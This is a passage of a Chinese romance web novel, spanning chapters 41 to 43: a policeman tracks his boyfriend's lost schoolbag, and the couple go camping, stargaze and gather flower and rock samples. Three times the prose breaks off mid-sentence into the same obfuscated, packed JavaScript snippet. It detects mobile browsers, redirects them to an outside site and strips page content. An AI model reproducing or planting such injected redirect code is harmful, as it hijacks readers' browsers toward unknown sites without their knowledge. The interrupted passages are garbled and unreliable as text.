一个绷着脸跟要破命案似的,另一个神情淡淡,手指搭着下巴,像在分析什么。 两人时不时凑一起低声嘀咕两句,还会倒帧回放,比他培训考核还认真。 保安终于没憋住,问了句:“……你们到底找的是什么狗啊?” “橘色的,带一个铃铛,知识型高智商,还特别爱挑刺。”罗乐面不改色。 保安默默看了一眼,心里嘀咕:要真有这么聪明的狗,也不至于丢吧。 他正这么想,就见旁边那个长相斯文的男生,动作极轻地抬起手,在那男人腰侧捏了一下。 动作非常小,但他还是看见了…… “嘶——”那男的被捏得身子一缩,侧过脸,竟然还笑了,“狗还没找到,你就先痛击队友?” 保安看着这俩人,表情神态都不太寻常,总感觉……哪里怪怪的。 他还没想明白这画风到底怎么回事,对讲机突然响了,他赶紧抓起来应了声,起身朝大门方向走去。 “暂停!”陶律夏忽然开口。 画面定格在一只白色比熊身上,脑袋修剪得圆圆的,像个行走的爆米花球。 “你真配合陪我找狗啊?”罗乐声音软软地往陶律夏耳边蹭过去。 “我班主任……”陶律夏语气淡淡。 “你确定?” “确定到以后得换个公园的程度。” “啧……”罗乐咋了下舌,脸上写满一言难尽,“你成绩那么好,还怕老师?” 陶律夏没回答,只是静静地看着他,像是在评估这个问题值不值得浪费语言解释。 罗乐忽然就悟了,他“嗤”地笑了一声,“要是哪天被撞见,你敢不敢说是我把你成绩带崩了?” 陶律夏眼都没眨一下:“成绩好坏主要取决于我自身,外界干扰项系数很低,你无法左右,更不能带崩。” 话落,屋里短暂静默,罗乐看着那张无甚表情的脸,心里微微一动:行啊,够拽的! 但自己就喜欢他这副拽样儿,不是傲慢、不算逞能,只是单纯的「我就是这样」。 罗乐没说话,唇角微微一动,转回监控前,把漏掉的画面一帧帧拖回去,重新看了一遍。 一直看到监控时间推进至21:20分,一辆自行车进入画面。骑车人穿着短袖体恤,头戴鸭舌帽,后座绑着一个塑料箱。 “这个!”罗乐手一顿,点下暂停键。 “按我们之前的分析,长椅附近没有课本和其他遗弃物,出公园还有监控,小偷要顺走整个书包,得有个遮掩的工具……” “那个塑料箱,很可疑。” 罗乐盯着画面,声音带着咬牙切齿的恨意:“出了公园有交通摄像头,应该能拍到他去了哪儿。十点多了,先送你回去。” 夜色已深,公园周围依然热闹,路边摆了一溜摊位,泡泡机、小风扇、弹力球……一个比一个花哨。 摊主们个个演技在线,装作随意地吆喝,实则目光精准,专捞那些东张西望的小孩。 结果这次钓上来的,是个一米八八的猛男。 罗乐脚步一顿,拿起一个圆圆的小铃铛,默不作声地扫码付款,转头递到陶律夏眼前。 “知识型狗狗的临时挂饰,今晚的补偿,你那个原装的,我一定给你找回来。” 陶律夏低头看了眼那枚塑料质感的铃铛,颜色夸张、造型幼稚,判断这东西的目标受众应该是——学龄前儿童。 实用价值为零,装饰意义极低,但情绪安抚效果……很高。 “谢谢。”他动作斯文地接过,把铃铛放进口袋里。 罗乐:“今天就送你到车上,我还得去保安室再看会儿,待到十一二点,差不多就收。” “要不算了。”陶律夏淡声道,“看了半天也就那一辆车,也不一定真是。” “怎么能算了?”罗乐一脸难以置信地看着陶律夏。 “你不是还得写实验记录吗?我可不想你在备注里写——当晚书包丢失,心情不佳。” 说着,他手一伸把陶律夏揽进怀里,低声说:“我希望你记得的,是我们一起看虫子、看花、接吻……这些事。” 陶律夏微微侧头:“我不是说了,这次不写了?” “那是你被我威胁的。”罗乐一脸正经,“你想写就写,哥争取给你个圆满结局,写在最后一页。” * “再放大一点。”罗乐站在肖策身后,指着画面中的自行车,“那个塑料箱上是不是贴了点什么?” 肖策咔哒敲了几下键盘:“我给你上个增强识别,要不要顺便连画质补全也来一套?” “搞!”罗乐跃跃欲试,“顺便把那张脸补出来。” “别梦了,我开玩笑你听不出来?”肖策眼皮都没抬一下,“南口那个摄像头,年代久远,你能看出是那辆车已经谢天谢地了。” “他拐进了西巷,后面就断了。”肖策指着屏幕,“最多就到这里。” “也够用了。”罗乐站起身,抬手拍了拍桌,“谢了哥,我去西巷踩一脚。” 出了技术室,他立刻给刘力拨了电话:“刘哥,西巷那边现在的网格员是谁?我想调几段商铺监控。” 那头的刘力刚午饭过饱,语气懒洋洋的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15958596|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“咋啦,又在给哪位大佬帮忙?” “我自己的事儿,我对象书包丢了。”罗乐回了一句。 电话那头顿了一秒,仿佛听到了什么宇宙奇观:“……你说什么?!你有对象了?对象书包丢了?” “有机会和你细说。”罗乐毫无停顿,“我这儿着急着呢,你帮我问一嘴,等你信儿。” 说完,他已经跳下最后两级台阶,脚步没停地奔向西巷。 顶着下午的大太阳,罗乐把沿街的水果店、小饭馆、打印店挨个敲了一轮。 正当他精疲力竭、后背汗湿,以为今天要空手而归时,网格员又来电,说这条街有家美甲店门口装了个全景摄像头。 罗乐顿时精神一振,提着劲往那边赶去。 店里冷气十足,美甲师正架着手机直播:“姐妹们,今天这款琉璃猫眼爆好看,显白不挑手,谁做谁是小富婆!” 直播的间隙,她冲罗乐挤出个热情营业的笑容:“警察同志您稍等,我这边下播就给您调监控,不然您这张脸就要直接上镜咯。” 罗乐坐在一边等着,眼前是半面墙的胶色卡,粉的、蓝的、紫的、荧光的,看得人眼花缭乱。 他像被丢进了什么异次元少女结界,在无数个“最后一分钟下单”、“三十秒冲刺赢大额体验券”的口播中,干坐了半个小时。 刚准备透口气,手机响了,是陶律夏。 “我在西巷。”罗乐接上电话往外走了两步,“嗯,找到那人踪迹了,问完半条街,现在,在一家美甲店等调监控——” “下午有个电话打来,说我的书包在公园的失物招领处。”陶律夏说。 ——失物招领处? 罗乐脚下一顿,被空调外机吹出的热风糊了一脸,脑子跟着热了两秒。 “你等我一起,我马上过去。” 书包放在失物招领处的架子上,值班的大爷一边翻记录一边说,是有人在公园长椅上捡到,直接送过来的。 陶律夏接过书包看了看,所有东西都在,轻轻一拨,铃铛清脆作响。 天色将暮,晚风从草木间穿过,带着不知从哪飘来的茉莉香,薄薄地浮在空气里。 推演小偷心理、分析逃跑路线、调监控追自行车,结果忘了最简单的可能性:有人拾金不昧,原地上交。 陶律夏一没留神就笑出了声,忽然头顶一沉,脑袋被一只手掌扶住,不由分说地按进了肩窝。 “笑什么呢?笑什么!说!是不是嘲笑哥的智商呢?” 声音像羞恼的审讯,陶律夏没挣,他慢悠悠地扬起脸:“我得出一个结论。” “嗯?”罗乐眯起眼,一副“你敢说,我就把你举起来转圈”的表情。 陶律夏收住笑意,换上一本正经的表情,陈述道:“爱情让人盲目,但你,确实靠谱。” “会说你就多说点。”罗乐轻轻收紧手臂,低声道问:“十号有没有空?我们去郊外露营怎么样?” “你会搭帐篷吗?”陶律夏问。 “现学行不行?” “那我要带上野外生存手册!” “行行行,你干脆连PPT也做上,顺便开个野外讲座。” 41.小行星 野外演讲还没听着,罗乐就先收到一份PDF《户外露营准备及风险应对指南V1.0》,文件大小12.8MB。 12兆?PDF也没法插小视频啊? 罗乐点开一看,第一部分标题还挺朴素《露营准备清单》,结果往后一翻,立马被分级目录锤晕。 A类「必备」,B类「次优先」,C类「选带」,选带里赫然写着: C-01对讲机(双频) 用途说明:信号不佳环境下的短距离通联工具。 附注:出发前应确认双方频率一致,并完成试用操作。 C-02 镁棒 用途说明:用于湿润环境或打火器材失灵情况下的火源替代。 附注:镁屑燃点高、燃速快,操作应避免迎风方向,防止火花回溅伤手。 C-03帐篷修补包 用途说明:应对帐篷损坏造成的结构性问题。 附注:打包时与主帐篷一同收纳,需包含防水胶带2卷、缝线1轴、针具1套。 …… 他继续往后翻,地形图、等高线、72小时天气变化曲线、月相周期、最佳观星时间段…… 甚至还有一页写着:「迷路自救流程图」参见附录P.17~19。 P.19?这文档长度都快赶上他当年本科论文了。 罗乐:【你是不是以为我们要去无人区建前哨基地?】 陶律夏:【多一些准备,能减少突发状况】 陶律夏:【充分沟通信息,也能降低争执几率,我另发在线版给你,你可以同步修改。】 罗乐盯着屏幕,认真回忆了一下,从第一次提出“去露营”到现在收到全套攻略,仅仅两天半。 「知识型狗狗」还速装了野外系统! 几天后,两人带着沟通妥协出的半车装备,驱车去了南山郊区。 参考了各种野外生存和露营知识,反复挑选,终于在一处「理想之地」搭好帐篷。 阳光洒在草叶上,山风一吹,整片山坡像泛起层层绿浪。没有认知的界限、没有熟人的目光,牵手就变得再自然不过。 走了一会,两人并肩坐在山坡上,陶律夏用手机拍下身边的一小簇浅紫色小花,介绍说:“这是酢浆草,喜欢阳光,生命力很强。” “那个是野鸢尾。”他又指了指一旁盛开的白花,“长得好看,但有毒。” “这个呢?”罗乐摘了几朵蓝紫色的小花,举到他眼前。陶律夏看了看说:“马兰,花瓣细窄,叶子像剑。” “你喜欢什么花?”罗乐顺手一揽,把他带进怀里。 陶律夏捻着草茎,想了想说:“四季繁花各有各的美,如果非说一个,我喜欢樱花。” “明年春天我们一起去看。”罗乐笑了笑,“这个暑假打算干什么?接近三个月的假期啊。” 陶律夏:“先去一趟维特利尔*,我十五岁之前住在那儿,回去办点手续。” “什么时候去?” “大后天。” 三天后就要飞,现在才告诉自己,但罗乐想起高三毕业那会,恨不得全世界都别来烦自己,这好像也不是什么问题…… “什么回来?” “大概三周。” “怎么这么久!”罗乐没忍住,声音提了一截。二十一天,超过五百个小时!就被他这么不声不响地安排完了…… 陶律夏:“我报了一个国际暑校项目,还想考一个潜水证。” 听着这轻飘飘的回应,罗乐牙关一咬,学神男友这么上进,难道自己能当个拖后腿的恋爱脑?不过五百多个小时而已…… “七月呢?也规划好了?”他装作随口一问。 “七月初有个化学交叉学科夏令营,五天,有评估考,我得准备一下,中下旬还有几个线上工作坊。” “嗯,挺充实……”罗乐看着他那副没心没肺的样子,稍一用力就把手里的草茎掐成了两段。 “再就是想系统地学下认知心理学和行为经济学。”陶律夏又念起计划表。 “停停停!”罗乐终于忍不了了,眼睛瞪得溜圆,“你怎么要学这么多东西?这还叫暑假吗!” “为什么不是?”陶律夏偏头看了他一眼:“对我来说很放松。” “你就没点学术之外的安排?”罗乐气得声音都变了调。 “哦。”陶律夏轻轻点头,“我想报一个甜品制作班,再就是提升一下咖啡品鉴的技术。” “那你计划之外的空档呢!早起一小时、睡前半小时、不开这会那会的某一天……都打算干嘛?”罗乐梗着脖子发难。 “时间的缝隙?”陶律夏认真思考了一下,“可以学点意大利语,或者去野外采样。” “你卷疯了吧?!”明事理男友的觉悟全都化为蒸汽,罗乐把攥在手里的草茎全拽断了,一把扬进了风里。 “你就不能在时间的缝隙里适度放松一下!比如约个会、谈个恋爱?把我也安排一下!” 陶律夏愣了一下,像是没料到罗乐会这么说,他缓缓转过头,郑重道:“你不是缝隙里的安排,你是我最重要的日程。” 天蓝得透亮,几朵云悠然浮在山尖,一只黄钩蛱蝶从草丛里飞出来,扑扇着翅膀绕个圈,又钻了回去。 “真的?”罗乐问。 陶律夏:“热恋期的多巴胺、去甲肾上腺素、PEA分泌旺盛,它们不会长期分泌,即便以人生的跨度来看,这些化学激素都很稀缺,应该好好感受。” 他顿了顿,眼睛没从罗乐脸上挪开:“所以,你是我这个暑假里,最高优先级的安排。” 如此直白的宣言把罗乐弄得不知所措,他咳了一声,勉强挤出点毒舌:“……你把我当老鼠做实验是吧?” “你是想说小白鼠?”陶律夏微微偏过头,“你不是小白鼠,如果这场爱情是个实验,那你是我唯一的决定因子。” “如果在京北,我每天都想见你,如果不在,我会给你写信。” 火焰一般的句子带着滚烫的温度卷过了罗乐的心,他抬起手,掌心覆上陶律夏的脸颊,指腹缓慢地擦过他的脸。 陶律夏配合地闭上了眼睛。 “谁让你闭眼的?”罗乐摸了摸他的头顶,假装训斥,“你这小脑袋瓜想什么呢?睁开。” “哦……”陶律夏睁开眼瞧着他。 罗乐拿出折下的马兰花,花瓣泛着蓝紫,叶片狭长如剑,这是家乡原野上开的大片大片的花,盐碱地里也能生长的坚韧植物。 “授勋仪式开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15971310|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——”罗乐伸手将花别在陶律夏的帽檐边,又在胸前的衬衣口袋上插了几枝。 “这个是勋章,授予你在「自我压榨与过劳边缘」的状态下,仍愿意给与爱情的时间。” 本是寻常不过的野花,簇在他胸前、头上,格外得生动鲜活。 “好了,你现在可以闭眼了。”罗乐往前靠了一点,带着所有未曾出口的情意和决心,俯身吻了下去。 如果这个世上有什么东西,既柔软又坚定,大概就是爱吧。 * 两人拍照、聊天,一起吃完简单的晚餐,坐在露营毯上看着天色从浅金转为橘红,最后铺展成一整片幽深的蓝黑。 夜风吹过,带走白日残余的暑气,草丛里虫鸣阵阵,几道细碎的流光划破天幕。 “流星!”罗乐眼疾手快地把人搂进怀里,声音兴奋得像个小孩,“刚刚那个你看见了吗?” “第二颗。”陶律夏声音稳稳的,眼睛盯着天,“现在是第三颗。” “许愿没?”罗乐凑近问。 陶律夏没作声…… 看着他那副淡淡的神情,罗乐咧了咧嘴,故意模仿他的语气:“流星只是受地球引力牵引坠入大气层的碎片,没有实现心愿的功能……对不对?” 陶律夏点点头,默认了这套逻辑。 “怪不得你的岛上连一件流星家具都没有。”罗乐轻笑着收紧怀抱,“在你眼里,流星也就是一块石头。” “我对许愿没有兴趣。”陶律夏转头看他,“但有流星雨的夜晚,傅珂会来岛上,就是那只红色的猫头鹰,我一直都没见过。” “你想见?”罗乐问。 “嗯。”陶律夏点点头。 “行,哥以后每天都上线,碰到流星雨就给你送过去。”罗乐蹭了蹭他的头发。 “我给你建岛,陪你看星星,现在还给你当靠垫……你是不是该给我个奖励?叫我一声哥哥,怎么样?” 陶律夏一脸正经地回:“哥哥是亲属称呼,我和你并没有血缘关系。” “你故意气我呢!我是说,情人意义上的——” “你希望我在亲密关系中为你赋予角色代词?”陶律夏问。 “嗯。”罗乐点点头。 “有点老派,但可以理解。”陶律夏低头划着星图界面。 “你就说,能不能叫一声?!” 陶律夏沉默了两秒说:“结合年龄差和你的要求,这个称呼合理,但我现在……还叫不出口。” 罗乐:“…….” “给你一个别的补偿吧。”陶律夏在星图上一点点划过,语气轻缓,“我刚找到一颗没被命名的小行星。” “这颗,归你命名。”陶律夏把屏幕递到罗乐面前。 “你又搞浪漫?”罗乐眯着眼笑。 “天文学是科学,讲究观测和归类。大部分星星都没名字,你不想命名这颗,也可以再找一颗你觉得好看的,反正总有没被命名的星星。” 罗乐盯着陶律夏,笑容一点点浮上眼角:“你最好看,命名为「我的专属星」。” 陶律夏唇角微扬,似笑非笑:“我怀疑你想靠甜言蜜语混进我的天文组。” “你的天文组?都有谁啊?” “现在有我和你……” 42.学术交流 山里的温度比预报的还要低,熄了灯,罗乐躺在一侧,缩在毯子里刚准备闭眼,就听见旁边传来一阵声响。 下一秒,有什么软软的东西挨了过来...... “……你干嘛?!”罗乐整个人瞬间清醒。 “冷。”陶律夏的声音从他颈侧传来,“山地夜间气温下降快,体感比预测气温还要低六到七度。” “我失策了,不应该把睡袋列为C类。”他说着,把自己的毯子也叠在两人身上。 “你……”罗乐撑起半边身子看他,却发现这家伙已经在他旁边蹭了个舒服的姿势,闭着眼,呼吸安稳得好像马上就能睡着。 “陶律夏!”罗乐压着嗓子叫他,尾音已经发颤。 “嗯?”陶律夏应了一声,嗓音困倦又天真,“这是你第二次叫我全名,第一次还是在校门口还车的时候。” “你、你、你知不知道你这行为叫做——” “共用热源,防止热量流失,避免体温过低。”陶律夏声音软软的,“野外生存手册上有写。” “……”罗乐差点被噎死,他又羞又臊地把「投怀送抱」四个字咽了下去,生硬地扭过身,背对着人,试图维持住“最不容易出事”的安全姿势。 结果那家伙又毫不见外地往他身上拱了拱,连手也搭了上来。 “喂,你、你贴哪儿呢!你刚才是不是把手放、放我身上了?”罗乐头也不敢回地低嚎。 “增大接触面积,提高热传导效率,晚安,罗警官。” 罗乐气得肝颤,这叫提高热传导效率?这叫耍流氓吧!他咬牙转过头,瞪着那张近在咫尺的脸:“我腹肌都给你摸了,你还叫我罗警官?” 陶律夏没睁眼,只是微微勾了勾嘴角,低声说:“那……晚安,哥哥。” ——好好好,最后居然是靠腹肌换来一声“哥”。罗乐懂了,以后想让这小祖宗点头答应什么事,估计还得先牺牲点色相。 “你还没有说……”一股温热的气息扑在罗乐的后颈,烫得要命。 终于,罗乐转过身,抬手把人整个圈进怀里,在额头上轻轻印下一个吻:“晚安,宝贝。” 夜里,山风吹得帐篷的布料轻轻鼓动,罗乐迷迷糊糊中醒了过来。 不知什么时候,两人换了姿势。 他平躺着,那小祖宗整个人都贴了上来,手臂环住他,头埋在他颈窝,温热的呼吸打在锁骨上,带着一点柔软的湿气。 如果现在帐篷里有光,他敢打赌,一定能看到一张“我无辜、我软乎、我什么都没想”的天真睡颜。 而他自己,某个好不容易平复下来的部位又开始蠢蠢欲动了。罗乐不敢动,整个人都僵着,连呼吸都尽量浅着来。 ——宝贝啊,你这么贴,贴得这么近……要是碰上野兽一样的男人,早就把你撕成碎片了。 你倒是睁眼看看啊,看看我这张脸,有没有刻着「道德楷模」四个大字啊喂…… 可陶律夏没有醒,反而得到了什么安抚信号似的,身体又往他怀里缩了缩,身上的温香扑了过来,蹭得罗乐魂都快没了。 他喉结上下滚动,低头在人脸上轻轻啄了一下,发出忍耐临界前的无声求饶:“小祖宗,哥今晚要是能撑到天亮,必须给我颁个太阳系自控力星章。 * 清晨,陶律夏醒来时,身侧空空的,他坐起身披上外套,掀开帘布走了出去。 山谷间雾气未散,草叶上挂着露水。 瞅了一圈,没瞧见罗乐的影子,却看见牙杯里插满了野花。黄的、紫的、白的、粉色的小花,错落有致地探出杯沿,明艳热烈,像一团夏天。 不是精心包装,也没有缎带和卡片,野趣横生,意外好看,是清早有人蹲在草丛,踩着露水细细挑选出的「山野限定」。 陶律夏伸手碰了碰那株微微歪着头的小蓟花,轻轻地笑了。 他把花摆在蛋卷桌的中央,拿出卡式炉,开始烧水准备早餐。 没一会罗乐就回来了,陶律夏见状又往煎锅里磕了两颗鸡蛋,问:“你去哪了?” “锻炼。”罗乐接过咖啡喝了一口。 “谢谢你帮我采的花。” 罗乐差点被呛住,他咳了两声,狡辩道:“谁送你花了,那是我自己采来做植物标本的。” “放在我牙杯里?”陶律夏抬眼看他,嘴角还挂着没藏住的笑。 “谁说放你牙杯就是送你的?”罗乐一副「你不要太自作多情」的表情。 “你那杯子不空着吗,我临时借个花器,不行啊?” “哦。”陶律夏点点头,目光从野花上扫过,“那标本准备怎么处理?是冷压还是热压?” 罗乐:“……” “海拔记录了吗?环境湿度测过没有?观察笔记写了吗?”陶律夏慢条斯理地追问,指尖点了点一株黄色的小花—— “这朵的拉丁学名叫什么?” 罗乐像被点名上台背书似的一脸懵,试图强撑的猛男形象逐帧崩塌,最后一脸心虚地挤出一句:“……你这是学术暴力审讯!” “我这是野外采样的基本要求。”陶律夏看着他,一脸诚恳地给出致命点评:“操作不严谨,还挺像私心泛滥。” 罗乐气不过地反问:“你就知道?你倒说说它叫什么名!” 陶律夏抬手一指:“Inulae Flos旋覆花,菊科旋覆属,常见于低海拔山区的路边,花期六到九月。” 手指轻轻一转,落向另一朵:“Veronica spicata穗花婆婆纳,颜色艳丽,但花序结构松散,不适合冷压保存。” 又往旁边一点:“Orychophragmus violaceus,二月兰,十字花科诸葛菜属,种子能榨油,花期已接近尾声。” “!!!” 罗乐一脸震惊:“……你这是不是提前背好来压制我的?” “只是恰好知道。”陶律夏视线落回他身上,指尖在桌面上轻轻一敲,语气就像老师提醒学渣划重点—— “要做简易标本,得选瓣厚一点、色彩稳定、花型规整的,比如金露梅、矢车菊。这样压出来,才好看。” 说罢,他轻描淡写地打量了罗乐一眼,“手给我看看。” 罗乐一头雾水地伸出手。 陶律夏低下头,指腹滑过掌心,缓缓掠过指节,在一圈常年训练留下的枪茧处停下,轻轻摸了摸,然后,毫无预警地在上面落下一个吻。 亲完人,陶律夏淡定地松开手:“给你一个警告。” “有的野花有刺,有的有毒,碰到了会起疹子。下次采集标本,一定要戴手套。” ——这是哪门子的警告啊? 打着“学术交流”的旗号,干的全是调情的勾当! 罗乐还没从刚才那波偷袭中缓过来,陶律夏已经若无其事地把煎蛋和烤肠装盘递给他,又一脸平静地安排起来:“吃完饭,陪我去采集点别的标本。” 「别的标本」说的是石头…… 至于“陪我采集”和“干苦力”的区别在于:「苦力」主打“干就完了”,而「陪我」主打一个“事儿”。 “太大了!” “太小了!” “边缘不够光滑!” “孔隙不够均匀!” 罗乐蹲在乱石摊半天,终于又翻到一块可能符合「陶神」要求的石头。 “这块——”他抓起一块朝不远处喊:“这块行不行?” 陶律夏正蹲在地下挑挑拣拣,闻言走了过去,接过那块石头仔细瞧了瞧,评价道:“还不错。” “还不错?”罗乐哼了一声,“哥给你找多少块了,腰都快断了,你就给我来一句‘还不错’?” “哦,那我重新评价。”陶律夏配合着点点头,指腹沿着石面摩挲了一圈说:“质地紧实、缝隙均匀、表面完整、边角圆润不割手。” 罗乐:“我让你评价我!” 陶律夏:“你想听什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981058|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “质地好、不扎人,捡回家不吃亏的优质款?”说完不等罗乐反应,他就转身继续筛选那些要捡回家的宝贝。 罗乐愣了好几秒…… 这人还能不能有点自觉了?这句话拿去求婚都不过分!结果,他轻飘飘说完,就能瞬间蹲回科研现场! “你到底挑这些破石头干嘛啊?”罗乐终于憋出一句牢骚,嘴上抱怨,身体还是保持着“恋爱民工”的辅助拣选状态。 “实验用途。”陶律夏低头端详刚拣到的一块,“成分差异会影响扩散性和挥发效果,也有审美参考。” 说完他盘腿坐下,把布袋里的石头倒出来,一块块地来回翻看。确认完最后一块,又一个个重新装回袋子,扎紧绳子,起身道:“好了,可以走了。” “行,终于捡够了。”罗乐将手里的一块石头递给他,“给你贡献的压轴样本,务必给哥署名。” “嗯。”陶律夏接过那块石头,塞进了外套口袋里。 两人回到帐篷,陶律夏把石头放好,从药箱里抽出一片热敷贴,招呼罗乐:“你不是说腰要断了?要不要帮你热敷?” “要!”罗乐立刻浮夸地捂住腰,哼哼唧唧地走过去,他侧躺在陶律夏面前,自己动手撩开体恤,露出一截精实的腰线。 “热敷贴不能直接贴皮肤,会低温烫伤,得贴在衣服上。”陶律夏说着,就要把他的衣服拉回去。 “哎哎哎——”罗乐一把按住他的手,“还没揉呢?” 陶律夏微微蹙眉:“你觉得疼?” 罗乐猛猛点头:“疼死了。” “可我……不会揉。”陶律夏偏过头,面露难色。 “简单得很,你就这样按两下就行。”罗乐拉过陶律夏的手放在自己的后腰上,带着他揉了两下。 “你看,就这样,别太用力就行,温柔点。” “对,就这儿……”罗乐声音低下来,拖着尾音,舒服地闭上了眼,“嗯,再往下点,轻点按……” “好了没?”陶律夏低声问。 “没有!”罗乐立刻睁眼,理直气壮道:“哥给你捡了一上午石头,腰都快废了!你才揉两圈就想下班?你得负责到底!” 陶律夏没说话,手上的动作轻了些,耐着性子一圈一圈在他腰窝上揉按。 “好了没?”过了一会儿,他又问。 “没有……”罗乐含糊地应着,眼都没睁,“再往右边来点。” 又认真揉了十分钟,陶律夏问:“这次好了吧?” “没……”罗乐声音含糊,脑子正飘着粉红泡泡。手掌温温的,力道刚刚好,谁能想到,学神在按摩届也是天赋型选手,还温柔地问“好了没?” 这不是爱是什么? 罗乐正在美滋滋地想着,忽然“啪——”的一掌落在了他背上,“你别太过分。” “哎!”罗乐从半梦中惊醒,他猛地回头,“你干嘛啊?” 陶律夏冷冷地看着他:“你在石滩上动作流畅、蹲起自如,根本没有伤。” 罗乐:“???” “以你的身体素质,今天最多会有一点疲劳引起的肌肉酸痛,而正常乳酸堆积造成的疼痛,理论上要12个小时后才会有明显反应。” “所以……”陶律夏面不改色地念出结论:“你的‘腰伤’,纯属表演。” 有理有据,无法反驳,罗乐张了张嘴,试探着问:“那你这是……纵容我?” 陶律夏撕开热敷贴,重重地拍在罗乐的衣服上,“这个,是为了预防,至于刚才帮你揉了二十分钟……” 他顿了一下,用了十成力道在罗乐腰上狠狠揉了一下——“是我在配合你!” 山风渐起,吹得外头的小摆件叮当作响。 陶律夏掀开帐篷帘子,头也没回地丢下一句:“快收拾吧,两小时内可能会下雨。” 罗乐坐了起来,摸了摸贴在背后的热敷贴,忍不住低声笑了出来:“配合我……还配合了这么久?” 43.跃入旷野 陶律夏把卡士炉、小桌板、炊具、露营灯……一件件擦干净,分类收好装进收纳箱里。 收完后,他拿起那只临时当花瓶用的牙杯,把插在里面的野花捧出来,顺了顺几枝歪斜的花茎,重新扎拢,又取了块干净的手巾打湿,仔细包好花根,重新塞回杯里。 风吹得帐篷猎猎作响,罗乐把最后一根支杆抽出来,帐篷顷刻散架,布料“哗”地塌了下来。他半跪在地上,从一侧收起帐篷的压角,边拢边叠。 陶律夏把花放在一边,走过去帮忙,他弯腰捡起一根地上的风绳,翻了两圈,动作顿住。 又看了一眼,确认那不是自己原先打的结。 “这绳结不是我打的。”他看向叠帐篷的罗乐,“你是不是重新打过?” “哦,我改了下。”罗乐一边说,一边把帐篷压折成三折。 “你那种扎法太松了,真刮起风,得把咱俩连锅端。” 陶律夏沉默了一会,还是问:“你为什么当时不告诉我?” “告诉你干嘛?”罗乐弯腰捡起地钉,“说你打得不好?我们是出来玩的,又不是参加绳结大赛,整那么严肃干嘛。” 见陶律夏还是盯着他,罗乐无奈地直起身,抬眼瞧他:“干嘛一脸被人记过的样儿,哥哥又没怪你。” 陶律夏说:“你应该告诉我的,我可以改正。” 罗乐走过去,站到他面前,抬手把他鬓角边的碎发捋到耳后,声音低下来:“就这么想听批评?” “嗯……”陶律夏点点头。 罗乐清了清嗓子,一本正经道:“你要是真想听,那哥就说了啊——” 他指了指脚边的风绳:“你打得不够牢?那又怎样?我补上就行。” “我也可能系得不好,风真要把帐篷刮走了,那就睡车里,车要是也坏了、翻了、掉沟里了……” 罗乐停了停,轻轻一笑,带着几分温柔的真切:“还有哥这身骨头给你垫着。” “律夏,你已经够好了,我想你能放松点,哥哥希望你能轻松自由地生活。” 一阵风扑来,“哎我去!”罗乐喊了一声,追着被风吹走的防潮垫跑了出去。 陶律夏抬眼望了过去—— 远处山线朦胧,乌云低垂,风掀起树叶和碎石,一路翻卷作响。那人的身影干净挺拔,白衬衣的下摆被风吹了起来,他逆风向前,跃入旷野。 轻松、自由、生活,如此迷人的词汇,如同如此迷人的此刻…… 不多时,罗乐气定神闲地折返,手里拎着那块被风刮走的垫子,一边抖灰一边拍净,三两下叠好,塞进了收纳袋里。 收完最后一颗固定钉,他迈步走到陶律夏面前,蹲下身拽过对方松开的鞋带,说:“系东西还真是你为数不多的短板。” 罗乐仰起头瞪了陶律夏一眼:“你这么聪明,上次教你的时候,是不是故意没认真学?” 系好鞋带,他站起身刮了一下陶律夏的鼻尖:“是不是想着以后都支使我?你可真敢想!” 陶律夏看着他:“能不能,再教一遍?” “可以!”罗乐二话不说重新蹲下,边示范边讲解:“你看着,像这样左压右,再右压左,然后再这么一拉,再绕一圈,就完美!” 他站起来,习惯性地拍了拍手,问:“学会没?是不是特别简单?” “学会了……”陶律夏低声应了一句,接着往前一步,把脸贴在他的胸口。 罗乐搂着他,掌心顺着后脑轻轻揉了揉,低声问:“以后学费,能不能都按今天这个标准结算?” “得看场景。”陶律夏说。 “行,你说了算。”罗乐在他脸颊上落了个浅浅的吻,转身去搬东西。 车子在盘山道上缓缓前行,云层低垂,浅灰色的雾气笼着远处的松林,山脊若隐若现。 副驾上,陶律夏低头摆弄着那杯野花,指尖在细软的茎叶上轻轻拨了拨,忽然开口:“花,是不是专门采给我的?” “我供奉给山神的。”罗乐把车开出弯道,手指轻轻敲着方向盘,顺嘴回了一句。 “你送花还能编出神明当借口?”陶律夏转过头。 天边滚来一声闷雷,像是特意凑了个气氛。陶律夏指了指窗外,神色一本正经:“从民俗学的角度,这属于神明亲自给你的提醒。” “提醒什么?”罗乐冷不丁扭头扫他一眼,“山神不就姓陶吗?这不一对一专供?” “……” 雷声接二连三地在山谷回荡,像是给土味情话配的BGM。陶律夏偏过头,看向窗外,属实想不到还有雷霆开局都接不下的话…… 